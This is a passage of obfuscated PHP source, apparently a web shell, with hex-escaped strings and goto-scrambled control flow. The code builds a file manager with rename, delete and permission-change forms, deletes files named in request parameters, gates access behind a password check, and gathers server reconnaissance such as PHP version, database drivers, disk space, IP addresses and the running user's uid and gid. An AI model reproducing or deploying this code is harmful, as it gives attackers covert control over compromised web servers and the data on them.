"\x3c\x2f\141\76\74\57\x73\160\x61\x6e\x3e\x3c\x73\x70\x61\x6e\40\x69\x64\75\x22\x72" . $dQLVa . "\x22\40\x73\164\171\154\145\75\x22\144\x69\x73\x70\154\x61\x79\72\x6e\157\x6e\x65\73\42\76\74\146\x6f\162\155\40\141\x63\164\151\x6f\x6e\x3d\x22\77\x64\75" . realpath("\56") . "\42\x20\155\145\164\x68\157\x64\75\42\x50\x4f\x53\x54\42\x3e\74\x69\156\160\x75\164\x20\164\171\160\x65\75\42\x68\151\x64\144\x65\156\42\40\166\141\154\165\145\75\42" . realpath("\x2e") . "\x22\x20\156\x61\155\x65\75\x22\x64\x22\x3e\x20\x3c\x69\x6e\160\165\x74\x20\x74\171\x70\145\75\42\164\145\x78\x74\x22\40\x69\x64\x3d\42\x6c\164\x22\x20\166\x61\x6c\165\145\x3d\x22" . $dQLVa . "\x22\40\x6e\141\x6d\x65\x3d\x22\x6e\x65\167\42\76\x3c\x69\156\x70\x75\x74\40\x74\x79\160\145\75\x22\x68\x69\x64\x64\x65\x6e\x22\40\166\141\x6c\x75\145\x3d\42" . $dQLVa . "\x22\40\156\x61\155\145\x3d\42\157\154\x64\42\x3e\74\x69\156\x70\x75\x74\40\164\171\160\145\75\42\163\165\x62\x6d\151\x74\x22\40\x69\144\x3d\42\154\164\42\40\166\x61\x6c\x75\x65\x3d\42\x52\x65\156\x61\155\x65\42\76\74\151\x6e\x70\165\164\40\164\x79\160\145\x3d\x22\142\x75\164\164\x6f\156\x22\x20\151\x64\75\42\x6c\x74\42\x20\166\141\x6c\x75\145\75\42\103\x61\156\x63\145\x6c\x22\40\157\x6e\x43\x6c\151\x63\x6b\x3d\42\170\171\x6e\50\47\x6e" . $dQLVa . "\47\54\x27\162" . $dQLVa . "\x27\51\x3b\x22\x3e\74\x2f\146\x6f\162\x6d\76\74\57\x73\x70\x61\156\x3e\x3c\x73\x70\x61\156\40\151\144\x3d\x22\x64" . $dQLVa . "\42\x20\x73\164\x79\154\x65\x3d\42\144\x69\x73\x70\154\141\171\x3a\156\x6f\156\x65\x3b\x22\76\74\146\157\162\x6d\x20\x61\x63\x74\151\157\156\x3d\x22\77\x64\x3d" . realpath("\56") . "\42\x20\155\145\164\x68\157\x64\75\42\x47\x45\124\x22\76\101\162\x65\40\x79\x6f\x75\x20\x53\165\162\145\77\x3c\151\156\x70\165\164\40\x74\171\160\145\x3d\42\150\151\x64\144\145\156\42\40\x76\x61\x6c\x75\145\x3d\42" . realpath($dQLVa) . "\x22\40\156\141\155\145\x3d\x22\x64\145\154\146\x22\76\x20\74\151\156\x70\165\x74\40\164\171\x70\x65\75\x22\163\x75\142\x6d\151\x74\x22\40\166\141\x6c\165\145\75\42\x59\x65\163\x22\x20\151\144\75\42\154\x74\42\76\40\x3c\151\156\160\x75\164\40\x74\x79\160\145\75\42\x62\165\x74\x74\157\156\x22\x20\x69\x64\75\x22\x6c\x74\42\40\166\141\x6c\x75\145\x3d\42\x4e\x6f\x22\x20\x6f\x6e\103\x6c\x69\143\x6b\x3d\42\170\171\156\x28\47\x6e" . $dQLVa . "\x27\x2c\47\144" . $dQLVa . "\x27\51\x22\x3e\74\57\146\157\x72\155\76\74\57\163\160\141\x6e\76\x3c\57\164\x64\76\x3c\x74\144\40\151\144\75\42\x66\x63\x22\x20\141\154\151\147\156\75\x22\143\x65\156\164\145\x72\x22\x3e\74\163\160\141\156\x20\151\144\x3d\x22\x68" . $dQLVa . "\42\76\x3c\141\40\150\162\x65\x66\x3d\42\152\x61\166\141\x73\x63\x72\151\x70\x74\x3a\170\171\156\50\47\x63" . $dQLVa . "\x27\54\47\x68" . $dQLVa . "\x27\x29\73\42\76\x3c\x66\x6f\156\x74\x20\143\x6f\154\157\x72\75\x22" . Bk8sn($dQLVa) . "\42\76" . gj6Kx($dQLVa) . "\x3c\x2f\146\157\x6e\164\x3e\x3c\57\x61\x3e\x3c\57\x73\x70\141\156\x3e\x3c\163\x70\141\x6e\40\x69\144\x3d\x22\143" . $dQLVa . "\x22\40\163\164\171\x6c\x65\x3d\42\144\x69\163\160\154\141\x79\72\x6e\157\x6e\145\x3b\42\x3e\x3c\146\x6f\x72\155\x20\141\x63\x74\151\x6f\x6e\75\x22\x3f\x64\75" . realpath("\56") . "\42\x20\155\145\x74\x68\x6f\144\75\x22\107\x45\124\x22\76\74\151\156\160\x75\x74\x20\x74\171\160\145\75\42\150\x69\144\x64\145\x6e\x22\x20\x76\141\154\165\145\x3d\42" . realpath($dQLVa) . "\x22\40\156\x61\x6d\x65\x3d\x22\x64\x66\42\76\x3c\151\x6e\160\165\164\40\x74\171\x70\x65\x3d\x22\164\x65\x78\164\x22\40\166\x61\x6c\x75\145\x3d\42" . gj6kX($dQLVa) . "\x22\40\x69\144\75\42\x6c\x74\x22\40\156\x61\x6d\145\x3d\x22\x63\x68\x22\x3e\40\74\151\156\x70\165\x74\40\164\171\160\145\x3d\42\163\x75\142\155\151\x74\x22\x20\x69\x64\75\x22\154\164\x22\x20\x76\141\154\x75\145\75\42\x47\x6f\42\x3e\40\74\x69\x6e\160\165\x74\x20\164\171\160\145\x3d\42\142\165\x74\x74\x6f\156\x22\40\151\x64\x3d\x22\x6c\164\x22\x20\x76\141\154\165\x65\x3d\42\103\x61\x6e\x63\145\x6c\x22\40\x6f\156\103\x6c\151\143\153\x3d\x22\x78\x79\x6e\x28\47\150" . $dQLVa . "\47\x2c\x27\x63" . $dQLVa . "\x27\x29\73\x22\76\x3c\x2f\x66\157\162\x6d\76\74\57\163\x70\x61\x6e\76\x3c\x2f\164\x64\x3e\74\164\144\x20\x69\144\x3d\x22\x66\143\42\40\141\x6c\x69\x67\x6e\75\42\x63\145\x6e\x74\145\162\x22\76" . $n6YNL["\156\141\155\x65"] . "\x20\x3a\x20" . $nBge1["\156\x61\155\145"] . "\74\57\164\144\76\74\x74\144\x20\x69\144\x3d\42\x66\x63\42\x20\141\x6c\151\147\x6e\x3d\x22\143\145\156\164\x65\162\x22\76\x3c\x61\40\x68\x72\145\x66\75\x22\152\141\166\x61\x73\x63\x72\151\x70\164\72\x78\171\x6e\50\x27\162" . $dQLVa . "\x27\54\47\x6e" . $dQLVa . "\x27\x29\42\x3e\x5b\x52\135\x3c\57\141\x3e\40\74\141\40\x68\x72\145\146\x3d\42\152\x61\x76\x61\163\143\x72\151\x70\164\72\170\171\156\x28\x27\144" . $dQLVa . "\x27\54\x27\156" . $dQLVa . "\47\x29\x3b\x22\x3e\133\104\135\74\x2f\x61\x3e\74\x2f\x74\x64\x3e\x3c\164\162\40\151\144\75\x22\x66\156\x22\x3e"; goto Yy5rD; uVoW_: p9I1g: goto U4Fa0; n8MbK: goto fh3AO; goto U56CC; lfHll: $nBge1["\156\141\x6d\145"] = "\77\77\77"; goto MQdbh; oML0Q: goto wbT1N; goto gOvH9; dvpyK: goto wHJbl; goto MYbeL; Betnf: sK7os: goto YjMym; nxHjD: wbT1N: goto wlfeE; U4Fa0: goto zHbkC; goto ZcfWE; kiWmJ: wHJbl: goto OYfv1; X03gF: txcAi: goto CmIsE; OYfv1: if (!(function_exists("\160\x6f\163\x69\x78\x5f\147\145\x74\160\x77\x75\x69\144") && function_exists("\160\157\x73\151\x78\137\147\145\x74\x67\162\x67\151\x64"))) { goto hUwVj; } goto KFvTq; SEBtb: NWRh6: goto GewOt; wh4t9: WE7cY: goto PdlUn; wlfeE: $nBge1 = posix_getgrgid(filegroup($dQLVa)); goto Y2Cr5; YjMym: efyww: goto lCSYE; bp4p1: Z6oGr: goto uVoW_; CmIsE: $n6YNL["\156\141\x6d\x65"] = "\x3f\x3f\x3f"; goto f_b9k; MQdbh: goto WE7cY; goto bp4p1; gOvH9: Z1DRY: goto SEBtb; U56CC: zHbkC: goto qbZgh; L0aRx: goto txcAi; goto X03gF; k5eGv: goto Z6oGr; goto nxHjD; cfEm6: hUwVj: goto L0aRx; qbZgh: $n6YNL = posix_getpwuid(fileowner($dQLVa)); goto oML0Q; PdlUn: goto HByXB; goto k5eGv; f_b9k: goto Sm5Pt; goto wh4t9; ZcfWE: fh3AO: goto iCDue; GewOt: goto sK7os; goto kiWmJ; Y2Cr5: goto hpmSW; goto WldPX; lCSYE: } goto e_SxE; MOI5j: goto feguA; goto YG_U9; DELn0: kgp3n: goto OO21e; OVkDU: goto ryKmA; goto Svs08; OTx8S: if (isset($_GET["\144\x65\154\144"])) { goto zEo6L; } goto xmCay; gW1UX: nKOfk: goto Wi6gy; tWa8Q: LhF2A: goto oIbtY; rX6as: R0Gpe: goto z5siu; Wl5ds: apWH6: goto K_oNr; BQifj: goto KtOmy; goto iAqLa; S4Pk1: if ($_POST["\160\x61\x73\163"] == $H5SHc) { goto yP5ws; } goto WiXLs; Hd3UI: goto HuWyt; goto uPGVX; RXwdi: goto LNWit; goto BV1yV; uMNDe: kuON5: goto oDGKj; pbdgv: goto sgft8; goto eGSOW; WjiHd: putIN: goto dPEid; OO21e: if (false !== ($dQLVa = readdir($O4Bfj))) { goto J0Xul; } goto CdgGR; DL9TG: goto DWLoc; goto ZWW1y; ewvC4: goto cUMUz; goto PF1O4; se0S9: UCkn1: goto GIdJk; ZKFQd: goto c7gdw; goto l4DLP; Uhhux: rZB4a: goto oKI2g; oKI2g: function vYM2I() { goto x0k3Z; x0k3Z: goto wmUK7; goto abLcS; JE1eS: goto YME1w; goto ofmko; Zt3RP: goto G4vcv; goto JYdCp; abLcS: wmUK7: goto bSZmb; W2Np6: $JHuVh = "\x3c\146\157\x6e\x74\x20\143\157\x6c\x6f\x72\x3d\143\x72\x69\x6d\x73\x6f\156\x3e\x4f\x4e\x3c\57\146\157\156\x74\76"; goto AR9jO; BmLLO: VGwuy: goto aY4mO; flwsV: zNUu_: goto W2Np6; PQ9ai: tMxrY: goto TjLuK; fUi7s: KDRJ6: goto DgZ7w; bQsk3: goto xw48t; goto NfcPJ; zsA7x: L62tF: goto JCwpN; afENg: ug5ck: goto uGe33; AR9jO: goto KDRJ6; goto fUi7s; NfcPJ: goto SxbkO; goto afENg; YAmF4: goto tMxrY; goto RBTdF; aY4mO: goto ug5ck; goto flwsV; JYdCp: SxbkO: goto zsA7x; uGe33: $JHuVh = "\74\146\157\156\164\x20\143\x6f\x6c\x6f\162\75\43\x63\143\x66\146\x30\x30\76\117\106\x46\x3c\57\146\x6f\x6e\164\x3e"; goto Zt3RP; DgZ7w: xw48t: goto JE1eS; RU_Ts: goto L62tF; goto BmLLO; ofmko: YME1w: goto HnJdQ; RBTdF: G4vcv: goto bQsk3; JCwpN: goto zNUu_; goto PQ9ai; HnJdQ: return $JHuVh; goto YAmF4; bSZmb: if (!function_exists("\104\x57\x6f\x30\x52")) { goto VGwuy; } goto RU_Ts; TjLuK: } goto fC9fl; Svs08: eoNvo: goto So8mG; TalS7: $Xvs78 = ini_get("\163\x61\x66\x65\137\x6d\x6f\x64\145"); goto VdJJ5; eGSOW: xuAlY: goto ohaoh; vpJk0: foreach ($J79SO as $dQLVa) { goto jzNkI; nxasc: HboeQ: goto BXJwx; kte2z: goto Jd5HR; goto sgKiS; xxXVG: yx80k: goto tthZX; ohxaB: goto z4zyH; goto LmJbM; ZGmTk: U8tGp: goto zPW6n; ki8AH: mGFnI: goto PhR5S; U25wW: if (!(function_exists("\160\x6f\163\151\170\137\x67\145\x74\x70\x77\x75\x69\144") && function_exists("\x70\157\x73\151\170\137\147\145\x74\x67\162\147\x69\144"))) { goto UG8pW; } goto oW_uc; IrmEg: L0PqL: goto U25wW; atv3q: if (!($xVxQv == 0 or $xVxQv == 1)) { goto z9i7T; } goto kte2z; BXJwx: $n6YNL["\x6e\141\155\145"] = "\x3f\x3f\77"; goto LmIFB; Ts7R3: goto zFVbJ; goto ki8AH; LmIFB: goto yQ0uy; goto f104c; UOVQH: goto fYlO7; goto hs27f; EVXWJ: print "\74\164\144\40\151\x64\75\x22\146\143\x22\76\74\x2f\164\x64\76\74\164\162\40\x69\144\x3d\x22\146\x6e\x22\76"; goto Ts7R3; lUS2m: goto V1MXn; goto lmFc1; SQiqV: goto Vfqgs; goto IhmFJ; LmJbM: goto Fu1zD; goto Njs60; opQvT: ARHOf: goto atv3q; oW_uc: goto x8I9d; goto xVSqM; CrbDH: goto yx80k; goto ZGmTk; WWMeh: Hzcrn: goto SQiqV; sgKiS: z9i7T: goto Nv9wz; jpNOR: $n6YNL = posix_getpwuid(fileowner($dQLVa)); goto mFCgm; yd_83: Jd5HR: goto lUS2m; NjO7m: Vfqgs: goto CrbDH; Nv9wz: goto fDpQA; goto Bd1Ys; IhmFJ: goto d1dUp; goto khiCR; G86XW: goto xJP5U; goto IrmEg; R1qtB: goto ARHOf; goto WWMeh; GANeX: goto HboeQ; goto opQvT; I78SY: xJP5U: goto ohxaB; OeCNs: print "\x3c\x74\x64\40\x69\144\x3d\42\x66\143\x22\x20\141\154\x69\x67\156\x3d\x22\143\145\156\x74\x65\x72\42\x3e\74\141\x20\x68\162\145\146\x3d\42\x6a\141\x76\x61\x73\143\x72\x69\160\164\x3a\x78\x79\x6e\50\47\x72" . $dQLVa . "\x27\x2c\x27\156" . $dQLVa . "\47\51\x22\x3e\133\x52\135\74\57\141\x3e\x20\74\141\40\x68\x72\x65\146\x3d\x22\x6a\x61\166\x61\163\143\162\151\160\x74\x3a\x78\171\x6e\x28\47\x64" . $dQLVa . "\47\x2c\47\156" . $dQLVa . "\47\x29\42\x3e\x5b\104\x5d\74\x2f\x61\76\74\57\164\x64\x3e\x3c\x74\162\40\151\144\x3d\42\x66\x6e\x22\x3e"; goto r5zDM; Bd1Ys: zFVbJ: goto NjO7m; PExi3: Fu1zD: goto lAtGs; EJtBn: fYlO7: goto jpNOR; OIDld: goto D3dvp; goto EJtBn; Q8180: goto mGFnI; goto xxXVG; hs27f: d1dUp: goto yd_83; RNx6G: Z6hVi: goto Q8180; r5zDM: goto Hzcrn; goto H52XX; zPW6n: $nBge1 = posix_getgrgid(filegroup($dQLVa)); goto OIDld; lAtGs: x8I9d: goto UOVQH; mFCgm: goto U8tGp; goto cOxyT; H52XX: V1MXn: goto EVXWJ; zYW3u: $nBge1["\156\141\155\x65"] = "\77\x3f\x3f"; goto G86XW; PhR5S: Ahd3J: goto IKvWn; A6ldo: print "\x3c\x74\144\40\x69\144\x3d\x22\x66\143\42\76\x3c\x73\160\141\156\40\x69\x64\75\42\156" . $dQLVa . "\42\76\74\141\x20\x68\162\145\146\x3d\42\77\x64\x3d" . realpath($dQLVa) . "\42\x3e" . $dQLVa . "\74\57\x61\76\x3c\x2f\163\160\141\156\x3e\74\163\x70\141\x6e\40\x69\144\75\42\162" . $dQLVa . "\42\x20\x73\x74\171\x6c\x65\75\x22\x64\x69\x73\x70\154\x61\171\72\x6e\x6f\x6e\145\x3b\42\76\74\x66\157\x72\x6d\x20\x61\x63\164\x69\157\x6e\x3d\x22\77\x64\75" . realpath("\x2e") . "\x22\40\155\x65\x74\150\x6f\144\75\42\x50\x4f\x53\x54\x22\x3e\74\151\x6e\160\x75\164\x20\x74\x79\x70\x65\x3d\x22\150\x69\x64\144\145\156\42\40\x76\x61\154\165\145\75\42" . realpath("\x2e") . "\x22\x20\156\141\x6d\145\75\42\144\42\x3e\40\74\151\156\160\165\164\40\164\x79\160\145\x3d\x22\x74\145\170\164\x22\40\x76\141\154\x75\x65\75\42" . $dQLVa . "\x22\40\x69\144\x3d\42\154\x74\42\40\156\x61\155\145\75\x22\x6e\x65\167\42\x3e\x3c\x69\x6e\x70\x75\x74\40\164\171\160\x65\x3d\42\150\151\144\x64\145\156\42\40\166\141\x6c\x75\x65\x3d\x22" . $dQLVa . "\42\40\x6e\x61\155\145\75\x22\x6f\154\144\42\x3e\40\74\151\156\x70\x75\164\40\x74\171\x70\145\x3d\x22\163\x75\x62\x6d\151\x74\42\40\151\x64\75\42\x6c\164\42\x20\166\141\154\x75\145\x3d\42\122\145\156\141\155\x65\42\x3e\40\x3c\x69\156\160\165\164\40\164\x79\x70\x65\75\42\x62\x75\x74\x74\157\156\x22\40\151\144\75\42\154\164\42\x20\166\141\x6c\x75\145\x3d\x22\x43\141\x6e\143\x65\154\42\40\x6f\x6e\x43\x6c\151\143\x6b\x3d\x22\x78\171\156\x28\47\156" . $dQLVa . "\47\54\47\x72" . $dQLVa . "\x27\51\73\x22\76\x3c\x2f\x66\157\x72\155\x3e\74\x2f\x73\x70\x61\156\76\x3c\163\x70\x61\156\x20\x69\144\75\42\x64" . $dQLVa . "\x22\40\163\164\x79\x6c\x65\75\x22\x64\151\x73\x70\x6c\x61\x79\x3a\156\x6f\156\145\73\x22\x3e\74\146\157\162\155\40\x61\143\164\x69\157\x6e\x3d\x22\77\x64\x3d" . realpath("\x2e") . "\42\x20\155\x65\164\150\157\x64\x3d\42\x47\x45\x54\42\76\101\162\x65\40\x79\x6f\x75\40\123\165\162\145\77\74\151\156\x70\x75\164\40\164\171\160\145\75\x22\150\x69\x64\x64\145\x6e\x22\40\166\141\x6c\x75\145\75\42" . realpath($dQLVa) . "\x22\x20\x6e\x61\x6d\x65\75\x22\x64\x65\x6c\144\42\76\x20\74\x69\156\160\x75\164\x20\x74\x79\160\x65\x3d\x22\x73\165\142\x6d\x69\x74\x22\40\166\x61\x6c\x75\145\75\42\x59\x65\x73\x22\40\151\x64\75\42\x6c\164\x22\x3e\x20\x3c\151\x6e\160\165\x74\40\164\x79\x70\x65\75\42\x62\165\164\164\157\x6e\x22\x20\151\x64\x3d\x22\x6c\164\42\x20\166\x61\154\x75\145\75\x22\x4e\x6f\42\x20\x6f\156\103\154\151\x63\x6b\75\x22\x78\x79\x6e\50\x27\x6e" . $dQLVa . "\x27\54\47\144" . $dQLVa . "\x27\x29\42\x3e\x3c\x2f\x66\x6f\162\155\76\74\x2f\x73\x70\141\x6e\x3e\x3c\57\164\144\x3e\74\x74\144\x20\151\x64\x3d\x22\x66\143\x22\x20\x61\x6c\151\x67\x6e\x3d\x22\x63\x65\156\x74\145\162\42\76\x3c\x73\160\141\x6e\x20\x69\144\75\42\150" . $dQLVa . "\x22\x3e\x3c\141\x20\150\x72\145\146\x3d\42\x6a\141\166\x61\x73\x63\162\x69\x70\164\72\x78\x79\x6e\x28\x27\143" . $dQLVa . "\47\54\x27\x68" . $dQLVa . "\x27\x29\x3b\x22\x3e\x3c\146\x6f\156\164\40\x63\157\x6c\157\x72\x3d\42" . Bk8sn($dQLVa) . "\42\x3e" . Gj6KX($dQLVa) . "\x3c\x2f\146\157\x6e\164\76\x3c\57\141\76\74\x2f\x73\x70\141\x6e\x3e\74\163\160\141\156\40\x69\144\x3d\42\143" . $dQLVa . "\42\x20\x73\x74\x79\154\145\75\x22\x64\x69\x73\160\154\x61\x79\72\x6e\x6f\x6e\x65\x3b\42\x3e\74\146\157\162\155\x20\x61\143\164\x69\157\x6e\x3d\x22\x3f\144\75" . realpath("\x2e") . "\42\x20\x6d\x65\x74\150\157\x64\75\42\107\x45\x54\42\x3e\x3c\151\156\160\x75\164\40\x74\171\x70\x65\75\x22\150\x69\x64\144\145\156\x22\x20\166\141\154\165\145\x3d\x22" . realpath($dQLVa) . "\x22\x20\x6e\141\x6d\x65\75\x22\144\146\x22\x3e\x3c\151\156\x70\165\164\x20\164\x79\x70\x65\75\x22\x74\x65\x78\x74\x22\40\166\x61\x6c\x75\145\75\42" . gJ6kx($dQLVa) . "\42\x20\151\144\75\42\154\164\x22\x20\x6e\141\x6d\145\75\42\143\150\x22\76\40\74\151\156\x70\x75\164\x20\164\x79\160\x65\75\42\x73\x75\142\155\151\x74\x22\40\x69\x64\x3d\42\x6c\164\x22\x20\x76\141\154\x75\x65\75\42\107\157\42\x3e\x20\74\151\x6e\x70\x75\164\x20\x74\171\x70\145\x3d\42\142\x75\164\164\157\156\42\40\151\144\x3d\x22\x6c\x74\42\x20\166\x61\x6c\165\x65\x3d\42\x43\x61\x6e\143\145\154\x22\x20\x6f\x6e\103\154\x69\x63\153\x3d\42\170\x79\156\50\47\x68" . $dQLVa . "\x27\54\47\143" . $dQLVa . "\x27\51\73\x22\x3e\74\x2f\146\x6f\x72\x6d\76\x3c\57\163\x70\x61\156\76\x3c\x2f\164\144\76\x3c\x74\x64\40\x69\144\75\42\x66\x63\42\40\141\x6c\151\147\156\75\x22\143\145\x6e\x74\145\162\42\x3e" . $n6YNL["\x6e\141\x6d\x65"] . "\x20\x3a\40" . $nBge1["\156\x61\155\145"] . "\74\x2f\164\144\x3e"; goto R1qtB; Njs60: ITRR_: goto A6ldo; f104c: HAnYc: goto RNx6G; a_kSi: goto ITRR_; goto I78SY; tthZX: $xVxQv++; goto p05XE; glg2y: z4zyH: goto a_kSi; lmFc1: yQ0uy: goto zYW3u; khiCR: fDpQA: goto OeCNs; cOxyT: D3dvp: goto glg2y; xVSqM: UG8pW: goto GANeX; p05XE: goto HAnYc; goto PExi3; jzNkI: goto L0PqL; goto nxasc; IKvWn: } goto H7o3D; zN4co: WdFt5: goto Irs8C; ySYiE: goto DvFFI; goto FrBHy; HwgCg: goto putIN; goto F87jk; EDHEJ: goto zZr4d; goto Jl9PC; znwt1: WOvm_: goto iGQg6; VNplI: Rfk3w: goto wp47a; gqLFH: QdM_h: goto D2vCj; R5lWY: goto Jb301; goto kAb6Z; Ickxv: goto Jt6Kr; goto bSVHD; nr2SJ: yP5ws: goto lQ7ZJ; x17bo: goto w_kDp; goto Aclmy; OgBN6: goto AIouc; goto f39sK; bCstK: goto LhF2A; goto vkBkK; Q9c6E: bw_QO: goto SUXhd; ZCpDZ: if (!empty($H5SHc) && !isset($_COOKIE[$xgskw]) or $_COOKIE[$xgskw] != $H5SHc) { goto kINg3; } goto Ruh6F; Yc5bs: dZq4c: goto aV678; b8eey: K08mF: goto OTx8S; VGS_k: LNWit: goto XCEw3; Yfz8G: r7FPb: goto DvG_A; FfhmT: goto y_SiS; goto Yfz8G; K1JyV: sBXV1: goto ci7re; UajQf: goto WdFt5; goto KwX0F; kRB4_: IlQrv: goto lTCEy; oTE2u: Vl3w3: goto x4Ltd; So8mG: jYVfI(); goto ZfPdx; Z34vR: goto kuON5; goto wfxuA; FiBMm: G9tSP(); goto txbbr; OuAKt: aep0W: goto p7kew; ccFMy: $PeYbu = array("\x50\110\x50\x20\126\x65\162\x73\151\157\156" => phpversion(), "\132\x65\156\x64\40\126\145\x72\x73\x69\x6f\x6e" => zend_version(), "\115\x61\147\151\x63\40\x51\x75\157\164\145\163" => EjZBs(), "\103\x75\162\154" => t9QUU(), "\x52\x65\x67\151\x73\164\145\162\40\107\154\157\x62\141\x6c\163" => pHfm5(), "\x4f\x70\x65\156\x42\x61\x73\x65\x20\x44\151\x72" => PFcmM(), "\115\171\123\121\114" => siYA2(), "\107\x7a\151\160" => erQ5V(), "\x4d\163\x53\x51\114" => VYm2i(), "\x50\x6f\x73\x74\147\x72\x65\x53\121\x4c" => hai6k(), "\117\162\x61\x63\x6c\145" => iB8xJ(), "\x54\x6f\164\x61\154\40\x53\x70\141\x63\x65" => K6rn3(disk_total_space("\57")), "\125\x73\x65\144\x20\x53\160\141\x63\145" => k6RN3(disk_free_space("\57")), "\131\x6f\165\162\40\111\120" => $_SERVER["\122\105\x4d\x4f\124\x45\137\x41\104\104\x52"], "\123\145\x72\x76\x65\162\40\111\120" => $_SERVER["\123\105\x52\126\105\122\137\101\x44\104\x52"]); goto rBA5a; PDHMb: JfhOz: goto dDNF4; FrBHy: gaYmQ: goto zA4xf; O7Ecm: Kbcqu: goto sxB59; qfBRI: goto UzBRU; goto qsbjE; Q8USF: print $qdnm3; goto Skt83; lFxeo: if (isset($_GET["\144"])) { goto Jyqvx; } goto uXE6L; rBA5a: goto frWe3; goto x3k73; iZLvz: goto ECLS8; goto iMDgl; rd1ay: goto VcRlM; goto LNUFf; K_oNr: $xVxQv = 0; goto BQifj; JsJg2: function hAI6k() { goto m0YrO; cH1ys: n6ZND: goto Gvb5D; HDvnD: goto Uh1NH; goto FrxaL; QyA0g: goto o7LR9; goto U2KlN; U2KlN: Uh1NH: goto tSnDJ; ALOsM: goto bPbo8; goto P9RtP; P9RtP: CB4SF: goto ZptuQ; CKRBp: DnVv6: goto rDND7; rDND7: $iUQgu = "\x3c\x66\157\156\x74\40\143\157\154\x6f\x72\75\x23\x63\143\146\x66\x30\60\x3e\x4f\x46\106\74\x2f\x66\157\x6e\x74\x3e"; goto bKPP3; bKPP3: goto r3djY; goto z2yXe; aHDBk: goto LKa46; goto Pq2PO; VQo0m: goto kKPiM; goto QyA0g; m0YrO: goto jhaG6; goto rsywp; Pq2PO: LKa46: goto eipcm; tSnDJ: kKPiM: goto aHDBk; FrxaL: bPbo8: goto Klu7S; ZptuQ: $iUQgu = "\74\146\x6f\x6e\164\x20\x63\157\x6c\157\x72\x3d\x63\162\x69\x6d\x73\x6f\156\76\117\116\x3c\57\x66\157\x6e\164\x3e"; goto HDvnD; CGEqE: goto CB4SF; goto CKRBp; ifHUt: Fxmwa: goto CGEqE; LBL4q: if (!function_exists("\x71\x57\145\x67\x6a")) { goto n6ZND; } goto bmWm7; tx0Te: r3djY: goto VQo0m; Gvb5D: goto DnVv6; goto tx0Te; eipcm: return $iUQgu; goto ALOsM; bmWm7: goto Fxmwa; goto cH1ys; z2yXe: jhaG6: goto LBL4q; rsywp: o7LR9: goto ifHUt; Klu7S: } goto Cdkyv; Q6cdX: J1yi2: goto RSprY; Jh7E0: goto iaLt1; goto aMVaU; jVCJD: goto G0mdT; goto uYsf0; lVQrr: kRTwn: goto Q8USF; Syd2S: feguA: goto BLsj4; anspW: jmuO5: goto uKyBZ; SOPln: goto RsWeG; goto yRRXn; w7zaV: goto Xv3Xk; goto gqoIj; C95KX: $BxlmO = get_current_user() . "\x20\x75\x69\x64\x3a" . getmyuid() . "\40\x67\151\144\x3a" . getmygid(); goto Pxgcf; FB2C_: goto ZZgJJ; goto s5ZHc; tNNx7: $q7XQs = getcwd(); goto v2SgP; SyVRc: goto Aw0iR; goto DELn0; Kj3ps: Q3H4Y: goto v267u; Y85H4: goto YT6AF; goto KaZCO; hXsMC: goto AloVY; goto Syd2S; ott8a: ZZgJJ: goto ZCpDZ; jRnrU: DjsgG: goto Yz90S; wfxuA: UzBRU: goto lFxeo; v2SgP: goto FFlFf; goto qt4vx; GIdJk: goto Nw3gc; goto Hiy9g; jdkxo: $J79SO[] .= $dQLVa; goto g7m1C; CCKx6: kINg3: goto J73Qr; oLXxw: DWLoc: goto L6FMJ; ZwZ0e: CYTIl: goto CFY1M; JInrz: print $qwL0E; goto a5V3l; clHDl: goto ApIjh; goto uMNDe; nujoW: bvuNO: goto sYnpQ; vkBkK: P7L3b: goto xe_FX; pvkNo: goto DjsgG; goto HL_ys; IZ1Yy: ooXVX: goto czqTY; xoNDW: $UZ_nm = $_GET["\144\x65\154\x64"]; goto pAEnl; oPCwN: FWQQ5: goto Xsj4a; ZfPdx: goto IsAGQ; goto WX_TH; w6NGJ: OEHJC: goto rE8fq; dvfXf: sZtsI: goto EDHEJ; VWAXy: hrWH0: goto BN20Z; O_naR: goto CYTIl; goto zfip3; v267u: unlink($UZ_nm); goto T7UPM; JZTtV: tzCKu: goto Zp2dk; PWLJy: GrU7P: goto nC3Jy; p4FQA: print "\x3c\x74\141\x62\x6c\145\40\151\x64\75\42\x6d\x6f\x72\145\x49\x22\76"; goto V_Dbg; Wz5hf: goto G1fm6; goto tMezc; thK41: goto o37Wv; goto hPgPj; HL_ys: a91rG: goto qfBRI; Aclmy: gE1yz: goto iZLvz; sYnpQ: function Gj6KX($GRvwz) { goto iGfd5; XiXyy: THF_s: goto nv73t; iGfd5: goto fHzl0; goto p5omU; bMglj: goto K4t0Q; goto CdHlC; VtekC: g1BWM: goto vLq1a; HCU2S: goto GuwkC; goto WbqO9; WbqO9: sfYk1: goto XiXyy; vLq1a: return substr(sprintf("\45\x6f", fileperms($GRvwz)), -4); goto Rb4Y3; LdUaB: fHzl0: goto vkFTH; uolcW: goto y3bC8; goto n6bph; Dy3cr: eWpev: goto Bi7f5; nv73t: goto g1BWM; goto VtekC; i1Y5h: goto THF_s; goto lUOvG; QH1rg: ZhAPl: goto NfRAn; n6bph: y3bC8: goto bMglj; CdHlC: goto sfYk1; goto QH1rg; lUOvG: gUTI4: goto HCU2S; WQVee: return "\77\x3f\77"; goto uolcW; p5omU: GuwkC: goto WQVee; vkFTH: if (!file_exists($GRvwz)) { goto gUTI4; } goto i1Y5h; Rb4Y3: goto ZhAPl; goto Dy3cr; NfRAn: K4t0Q: goto XKL5I; XKL5I: goto eWpev; goto LdUaB; Bi7f5: } goto KE3cp; iKAeF: function eRQ5v() { goto FBiBu; Vjm9y: jzkH_: goto Kz230; qCjhC: goto BeQyJ; goto Vjm9y; QLBZq: $JHuVh = "\74\x66\157\x6e\164\x20\143\157\154\x6f\162\x3d\x63\x72\x69\x6d\163\x6f\x6e\76\117\116\74\57\x66\157\x6e\164\76"; goto tvBcL; IZHwZ: if (!function_exists("\147\172\145\156\143\157\144\x65")) { goto rBBqM; } goto EEz0P; tvBcL: goto bJMlA; goto Nbmz2; bs__T: lNtZv: goto IZHwZ; HTnGz: sDw5f: goto qCjhC; k1OJX: bJMlA: goto q18g2; ClJcG: return $JHuVh; goto YbSP1; Kz230: $JHuVh = "\x3c\146\157\156\x74\x20\143\157\x6c\157\162\75\43\143\x63\146\x66\60\x30\x3e\x4f\x46\x46\x3c\x2f\146\157\156\164\76"; goto oPCjJ; STJou: neyh7: goto ClJcG; Nbmz2: o4kvH: goto HTnGz; FBiBu: goto lNtZv; goto STJou; CedmQ: J2Cr4: goto clSI0; EEz0P: goto sDw5f; goto XToVw; rhPpK: BeQyJ: goto QLBZq; x3xsK: goto MCTRi; goto YAuEz; YAuEz: goto 